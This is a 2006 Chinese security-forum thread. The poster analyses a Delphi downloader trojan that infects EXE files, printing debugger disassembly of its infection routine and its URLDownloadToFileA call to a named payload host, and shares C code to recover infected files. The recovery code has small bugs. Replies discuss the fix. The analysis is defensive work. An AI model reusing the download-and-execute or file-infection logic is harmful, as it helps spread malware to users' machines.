首页
社区
课程
招聘
一个龌龊的下载者病毒
发表于: 2006-10-9 19:07 12645

一个龌龊的下载者病毒

2006-10-9 19:07
12645

【病毒名称】trojan.downloader.win32.delf.ayu

【分析环境】vmware+win2000+vc6.0+od

【说明】今天开机,发现运行程序怪异,运行*.exe程序,会在当前目录下生成*~.exe文件,开始还认为是系统错误,又运行了另一个,还是这个问题,感觉不对,用咔吧大叔扫了下,结果整个系统目录下的exe文件(除系统文件)都报有毒,喀吧不能把正常程序还原,只能全删。当时就一个郁闷。这么多软件,怎么可能全删除,删了还怕系统不稳,只好怒而分析之。hoho,好久没有来论坛了,经验不敢独享,与和我一样迷茫的论坛菜菜们一起共享之。

【正文】
peid载入感染的程序,显示Borland Delphi 6.0 - 7.0 [Overlay]。
用资源文件打开查看import:发现urlmon.dll->URLDownLoadToFile().这个是典型的下载者的标志.用od载入,下断点bp URLDownloadToFileA,因为有读写文件,又下了下面几个断点:bp CreateFileA, ReadFile, WriteFile.
F9运行,中断后ALT+F9
00406E99   |.  6A 00          push 0
00406E9B   |.  68 80000000    push 80
00406EA0   |.  6A 03          push 3
00406EA2   |.  6A 00          push 0
00406EA4   |.  8BC3           mov eax,ebx
00406EA6   |.  25 F0000000    and eax,0F0
00406EAB   |.  C1E8 04        shr eax,4
00406EAE   |.  8B0485 4451410>mov eax,dword ptr ds:[eax*4+415144]
00406EB5   |.  50             push eax
00406EB6   |.  8B04B5 3851410>mov eax,dword ptr ds:[esi*4+415138]
00406EBD   |.  50             push eax
00406EBE   |.  8BC7           mov eax,edi
00406EC0   |.  E8 1BD0FFFF    call QQLLK.00403EE0
00406EC5   |.  50             push eax                                                        ; |FileName
00406EC6   |.  E8 75E8FFFF    call <jmp.&kernel32.CreateFileA>                                ; \CreateFileA
00406ECB   |>  5F             pop edi                                                         ;  00C70020
00406ECC   |.  5E             pop esi
00406ECD   |.  5B             pop ebx
00406ECE   \.  C3             retn
各参数的意义为:
CreateFileA("VIRUS.exe", GENERIC_READ, FILE_SHARE_READ,NULL,OPEN_EXISTING,NORMAL, NULL);

F9运行,ALT+F9 返回到:
00406EFC   /$  53             push ebx
00406EFD   |.  56             push esi
00406EFE   |.  57             push edi
00406EFF   |.  51             push ecx
00406F00   |.  8BF9           mov edi,ecx
00406F02   |.  8BF2           mov esi,edx
00406F04   |.  8BD8           mov ebx,eax
00406F06   |.  6A 00          push 0                                                          ; /pOverlapped = NULL
00406F08   |.  8D4424 04      lea eax,dword ptr ss:[esp+4]                                    ; |
00406F0C   |.  50             push eax                                                        ; |pBytesRead
00406F0D   |.  57             push edi                                                        ; |BytesToRead
00406F0E   |.  56             push esi                                                        ; |Buffer
00406F0F   |.  53             push ebx                                                        ; |hFile
00406F10   |.  E8 4BE9FFFF    call <jmp.&kernel32.ReadFile>                                   ; \ReadFile
00406F15   |.  85C0           test eax,eax
00406F17   |.  75 07          jnz short QQLLK.00406F20
00406F19   |.  C70424 FFFFFFF>mov dword ptr ss:[esp],-1
00406F20   |>  8B0424         mov eax,dword ptr ss:[esp]
00406F23   |.  5A             pop edx
00406F24   |.  5F             pop edi
00406F25   |.  5E             pop esi
00406F26   |.  5B             pop ebx
00406F27   \.  C3             retn
函数的表现形式为:
ReadFile((hFile)0068, (Buffer)00137848, (BytesToRead)29a04,
(pBytesRead)0012ff14, NULL);
F9, ALT+F9继续到这:
00406ED0   /$  53             push ebx
00406ED1   |.  8BD8           mov ebx,eax
00406ED3   |.  6A 00          push 0
00406ED5   |.  68 80000000    push 80
00406EDA   |.  6A 02          push 2
00406EDC   |.  6A 00          push 0
00406EDE   |.  6A 00          push 0
00406EE0   |.  68 000000C0    push C0000000
00406EE5   |.  8BC3           mov eax,ebx
00406EE7   |.  E8 F4CFFFFF    call QQLLK.00403EE0
00406EEC   |.  50             push eax                                                        ; |FileName
00406EED   |.  E8 4EE8FFFF    call <jmp.&kernel32.CreateFileA>                                ; \CreateFileA
00406EF2   |.  5B             pop ebx
00406EF3   \.  C3             retn
00406EF4   /$  E8 D7FFFFFF    call QQLLK.00406ED0
00406EF9   \.  C3             retn
函数的表现形式为:
CreateFile("virus~.exe, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NORMAL, NULL);

同上继续来到:
00406F29   |.  56             push esi                                                        ;  QQLLK.0040F628
00406F2A   |.  57             push edi
00406F2B   |.  51             push ecx
00406F2C   |.  8BF9           mov edi,ecx
00406F2E   |.  8BF2           mov esi,edx
00406F30   |.  8BD8           mov ebx,eax
00406F32   |.  6A 00          push 0                                                          ; /pOverlapped = NULL
00406F34   |.  8D4424 04      lea eax,dword ptr ss:[esp+4]                                    ; |
00406F38   |.  50             push eax                                                        ; |pBytesWritten
00406F39   |.  57             push edi                                                        ; |nBytesToWrite
00406F3A   |.  56             push esi                                                        ; |Buffer
00406F3B   |.  53             push ebx                                                        ; |hFile
00406F3C   |.  E8 5FE9FFFF    call <jmp.&kernel32.WriteFile>                                  ; \WriteFile
00406F41   |.  85C0           test eax,eax
00406F43   |.  75 07          jnz short QQLLK.00406F4C
00406F45   |.  C70424 FFFFFFF>mov dword ptr ss:[esp],-1
00406F4C   |>  8B0424         mov eax,dword ptr ss:[esp]
00406F4F   |.  5A             pop edx
00406F50   |.  5F             pop edi
00406F51   |.  5E             pop esi
00406F52   |.  5B             pop ebx
00406F53   \.  C3             retn

函数的表现形式为
WriteFile(hFile, 00161860, 61952, 0012ff1c, NULL);

一路继续跟踪来到:
00413FD4   |.  68 24404100    push QQLLK.00414024
00413FD9   |.  64:FF30        push dword ptr fs:[eax]
00413FDC   |.  64:8920        mov dword ptr fs:[eax],esp
00413FDF   |.  6A 00          push 0
00413FE1   |.  68 00000004    push 4000000
00413FE6   |.  6A 03          push 3
00413FE8   |.  6A 00          push 0
00413FEA   |.  6A 01          push 1
00413FEC   |.  6A 00          push 0
00413FEE   |.  8B45 FC        mov eax,dword ptr ss:[ebp-4]
00413FF1   |.  E8 EAFEFEFF    call QQLLK.00403EE0
00413FF6   |.  8BF0           mov esi,eax                                                     ; |
00413FF8   |.  56             push esi                                              ; |FileName
00413FF9  |. E8 4217FFFF      call <jmp.&kernel32.CreateFileA>                 
; \CreateFileA
00413FFE   |.  8BD8           mov ebx,eax
00414000   |.  6A 04          push 4                                     ; /ShowState = SW_SHOWNOACTIVATE
00414002   |.  56             push esi                                                        ; |CmdLine
00414003   |.  E8 9018FFFF    call <jmp.&kernel32.WinExec>                                    ; \WinExec

CreateFile("virus~.exe", 0, FILE_SHARE_READ, NULL,OPEN_EXISTIG,DELETE_ON_CLOSE,NULL)
WinExec("virus~.exe",SW_SHOWNOACTIVATE).
后又跟踪来到:
004142E9   |. /75 50          jnz short QQLLK.0041433B
004142EB   |. |8D45 F4        lea eax,dword ptr ss:[ebp-C]
004142EE   |. |E8 21FEFFFF    call QQLLK.00414114
004142F3   |. |8D45 F4        lea eax,dword ptr ss:[ebp-C]
004142F6   |. |BA 80434100    mov edx,QQLLK.00414380                                          ;  ASCII "cert.exe"
004142FB   |. |E8 E8F9FEFF    call QQLLK.00403CE8
00414300   |. |8B55 F4        mov edx,dword ptr ss:[ebp-C]

;00414394=QQLLK.00414394 (ASCII "http://www.game9988.cn/19790205.exe")

00414303   |. |B8 94434100    mov eax,QQLLK.00414394                                          ;  ASCII "http://www.game9988.cn/19790205.exe"
00414308   |. |E8 03FFFFFF    call QQLLK.00414210
0041430D   |. |84C0           test al,al
0041430F   |. |74 2A          je short QQLLK.0041433B
00414311   |. |6A 00          push 0
跟进上面的call来到:
00414219    .  8955 F8        mov dword ptr ss:[ebp-8],edx
0041421C    .  8945 FC        mov dword ptr ss:[ebp-4],eax
0041421F    .  8B45 FC        mov eax,dword ptr ss:[ebp-4]
00414222    .  E8 A9FCFEFF    call QQLLK.00403ED0
00414227    .  8B45 F8        mov eax,dword ptr ss:[ebp-8]
0041422A    .  E8 A1FCFEFF    call QQLLK.00403ED0
0041422F    .  33C0           xor eax,eax
00414231    .  55             push ebp
00414232    .  68 9E424100    push QQLLK.0041429E
00414237    .  64:FF30        push dword ptr fs:[eax]
0041423A    .  64:8920        mov dword ptr fs:[eax],esp
0041423D    .  33C0           xor eax,eax
0041423F    .  55             push ebp
00414240    .  68 77424100    push QQLLK.00414277
00414245    .  64:FF30        push dword ptr fs:[eax]
00414248    .  64:8920        mov dword ptr fs:[eax],esp
0041424B    .  6A 00          push 0
0041424D    .  6A 00          push 0
0041424F    .  8B45 F8        mov eax,dword ptr ss:[ebp-8]
00414252    .  E8 89FCFEFF    call QQLLK.00403EE0
00414257    .  50             push eax
00414258    .  8B45 FC        mov eax,dword ptr ss:[ebp-4]
0041425B    .  E8 80FCFEFF    call QQLLK.00403EE0
00414260    .  50             push eax
00414261    .  6A 00          push 0
00414263    .  E8 ACE7FFFF    call <jmp.&URLMON.URLDownloadToFileA>
函数的表现为:
URLDownloadToFileA(0,"http://www.game9988.cn/19790205.exe",
"C:\WINNT\cert.exe", 0)
到这里, 用下载工具把19790205.exe下了回来,用aspack加了个壳,脱壳后发现
里面有个dll的资源文件,是一个com组件,又19790205对它进行调用,后来又看了
下这个dll,竟然又有下载http://www.js-game.cn/url_.txt,里面又有几个地址连接。不继续了。通过上面解析大概知道了它的流程如下:

CreateFile->ReadFile->CreateFile->WriteFile->WinExecFile->URLDownloadToFileA
->(regsvr32 dll)...

为了我的软件,作了一个分离模块,

bool RecoverFile(char* filePath)
{

        HANDLE hFile =CreateFile(filePath,
                GENERIC_READ,
                FILE_SHARE_READ,
                NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
        if(INVALID_HANDLE_VALUE == hFile)
                return false;
        DWORD fSize;
        fSize = GetFileSize(hFile, NULL);

        char *Buffer;
        Buffer = (char *)malloc(fSize+1);
        DWORD rSize = 0;
        ReadFile(hFile,(LPVOID)Buffer, fSize, &rSize, NULL);
       
        if(0 == rSize)
                return false
        CloseHandle(hFile);
        DeleteFile(filePath);

        hFile = CreateFile(filePath,
                GENERIC_READ|GENERIC_WRITE, 0, NULL,
                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if(INVALID_HANDLE_VALUE == hFile)
                return false;
        WriteFile(hFile, Buffer+0x1a800,fSize-0x1a800,&rSize,NULL);
        CloseHandle(hFile);
        delete Buffer;
        return true;
}
没有过多的考虑,直接把病毒自生文件的大小(0x1a800)做为指针的偏移,把咔吧大叔扫描的结果路径提取做为参数,我的程序终于又重见天日了。

感谢看雪里面的前辈们,正是通过学到了他们的些许皮毛,才获得了一点收获
强烈bs国内的这些不道德的黑客,不做技术研究,专干这些伤天害理的勾当。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (26)
雪    币: 222
活跃值: (40)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
2
支持,学习
2006-10-9 19:19
0
雪    币: 253
活跃值: (250)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
3
好功夫。
2006-10-9 19:58
0
雪    币: 440
活跃值: (712)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
4
只能学习
上次setup.exe挂了
我直接删了
2006-10-9 20:22
0
雪    币: 214
活跃值: (40)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
和我修复一个病毒的方法一样,病毒把原程序复制在exe文件后面

直接找到偏移写回去就ok,个人感觉还算是良性的。。

我是用masm32汇编写的修复程序,带遍历exe文件功能
2006-10-10 04:43
0
雪    币: 179
活跃值: (131)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
6
强人。。。纯支持了
2006-10-10 09:42
0
雪    币: 312
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
强烈BS那些做病毒的不良份子!
2006-10-10 10:01
0
雪    币: 671
活跃值: (723)
能力值: ( LV9,RANK:1060 )
在线值:
发帖
回帖
粉丝
8
好文章,分离模块写的不错啊!我见到病毒就怕怕,恢复系统先。
2006-10-10 10:16
0
雪    币: 405
活跃值: (10)
能力值: ( LV9,RANK:1130 )
在线值:
发帖
回帖
粉丝
9
晕倒~~~干脆大家都去手动杀毒了。
剩下我用现成的~~
2006-10-10 10:21
0
雪    币: 300
活跃值: (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
强烈支持!!我正准备删呢!看到大哥的文章感激涕零!我三年多的文件有救了
2006-10-10 13:17
0
雪    币: 615
活跃值: (1202)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
只能对千橡说一句:人不能无耻到这种地步!!
千橡互联流氓软件感染EXE终于进化成最终版本 和所有EXE同归于尽 无法修复.
2006-10-10 14:50
0
雪    币: 300
活跃值: (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
看来只能重装delphi了,等会写好delphi版的放上来方便大家使用!再次谢谢楼主的帖子
2006-10-10 15:40
0
雪    币: 389
活跃值: (967)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
楼主强悍啊~~~~佩服了~~佩服了~~
2006-10-10 15:55
0
雪    币: 451
活跃值: (78)
能力值: ( LV12,RANK:470 )
在线值:
发帖
回帖
粉丝
14
好文章
学习了..
2006-10-10 16:08
0
雪    币: 367
活跃值: (20)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
15
我也中了这玩艺.

不过补充一点,这病毒会重复感染同一个文件,所以楼主的修复代码只能处理部分文件.

病毒原长是C000,感染后的PE头可以作为特征码.
我的方法是扫瞄整个文件,只要有这特征码的PEexe文件都提取出来,如果文件内只有病毒的PE头,那就自动修(其实就是去掉病毒部分,不过修复后尾巴上好像还有4k,不过能用就不再细究了),否则,手动修比较稳妥,我有两个exe文件就被病毒给多次感染而弄坏了...

花了我半天时间才修完

要是这病毒作者站在我面前,肯定 一枪毙了他/她!
2006-10-11 00:07
0
雪    币: 280
活跃值: (281)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
16
一个字,强!
2006-10-11 10:10
0
雪    币: 267
活跃值: (235)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
17
厉害,支持!
2006-10-11 10:15
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
学习中..希望楼主多发这方面的帖子.
2006-10-11 17:05
0
雪    币: 296
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
比较良性的病毒...
2006-10-12 10:18
0
雪    币: 12
活跃值: (600)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
20
能否提供一下样本?
2006-10-12 10:35
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
最初由 binbinbin 发布
晕倒~~~干脆大家都去手动杀毒了。
剩下我用现成的~~


我看到文章的时候很认真很谨慎

看到你的这句我的肚子快爆了

可爱

好文收藏
2006-10-12 16:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
超级鄙视千橡,超级流氓软件。
2006-10-12 16:47
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
[没有过多的考虑,直接把病毒自生文件的大小(0x1a800)做为指针的偏移,把咔吧大叔扫描的结果路径提取做为参数,我的程序终于又重见天日了。

但是你用exe本身的大小会不会有问题呢?万一文件本身是压缩过的,会不会这个大小有问题?
2006-10-12 17:51
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
最初由 girl 发布
和我修复一个病毒的方法一样,病毒把原程序复制在exe文件后面

直接找到偏移写回去就ok,个人感觉还算是良性的。。

我是用masm32汇编写的修复程序,带遍历exe文件功能


分离器丢 出来

MM
2006-10-13 10:08
0
雪    币: 214
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
太厉害了  羡慕
2006-10-13 16:42
0
游客
登录 | 注册 方可回帖
返回
//